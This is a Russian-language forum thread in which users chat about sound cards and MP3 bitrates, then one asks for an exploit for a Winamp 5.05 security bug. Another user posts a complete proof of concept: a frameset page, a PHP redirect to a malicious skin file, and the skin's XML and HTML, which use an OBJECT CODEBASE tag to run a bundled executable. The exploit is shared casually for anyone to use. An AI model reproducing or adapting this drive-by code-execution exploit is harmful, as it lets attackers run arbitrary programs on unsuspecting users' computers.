D
Dj Skeleton™
Гость
Sertificat0r сказал(а):2Dj Skeleton - А у тебя случаем не встроенная АС97 ? Потому что если так то разницы даже между битрейтом 96 и 256Кб ты не заметишь. Не говоря о высоких частотах.
SB Audigy
Sertificat0r сказал(а):2Dj Skeleton - А у тебя случаем не встроенная АС97 ? Потому что если так то разницы даже между битрейтом 96 и 256Кб ты не заметишь. Не говоря о высоких частотах.
Blackmore сказал(а):Ну он же ОС не указал. Каков вопрос, таков ответ.
А похож ну очень...
А че это за секьюрити баг ,в винампе то? Кто слышал? Если можно сразу эксплойтик кидайтеWinamp 5.05:
* Security bug fix
* Fix for upside down videos through DirectShow
* JTFE v0.96c
* Added prompt when loading a skin for the first time
а вот и сам кода сплойтаA vulnerability in the way Winamp handles skin files allows a remote attacker who can convince a user to download his skin file to cause the user to unknowingly execute arbitrary code.
Exploit:
index.html
< html>
< head>
</head>
< frameset rows="*,1" framespacing="0" border="0" frameborder="NO">
< frame src="load.php" name="frame_content" scrolling="auto" noresize>
</frameset>
< noframes>
< body>
</body>
</noframes>
</html>
Load.php
< ?php
$httpref = $HTTP_REFERER;
header("Location: http://URL/foo.wsz");
?>
foo.wsz (foo.zip)
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml
/html/test.htm
< html>
< OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'>
</html>
/xml/includes.xml
< include file="player.xml"/>
/xml/player-normal.xml
< layout>
< browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
</layout>
/xml/player.xml
< container id="main" name="main">
< include file="player-normal.xml"/>
</container>
/skin.xml
< ?xml version="1.0" encoding="UTF-8" standalone="yes"?>
< WinampAbstractionLayer version="1.1">
< skininfo>
< version>1.0</version>
< name>Batman</name>
< comment></comment>
< author>Petrol Designs</author>
< email>info@petroldesigns.com</email>
< homepage>http://www.petroldesigns.com</homepage>
</skininfo>
< include file="xml/includes.xml"/>
< !--
-->
</WinampAbstractionLayer>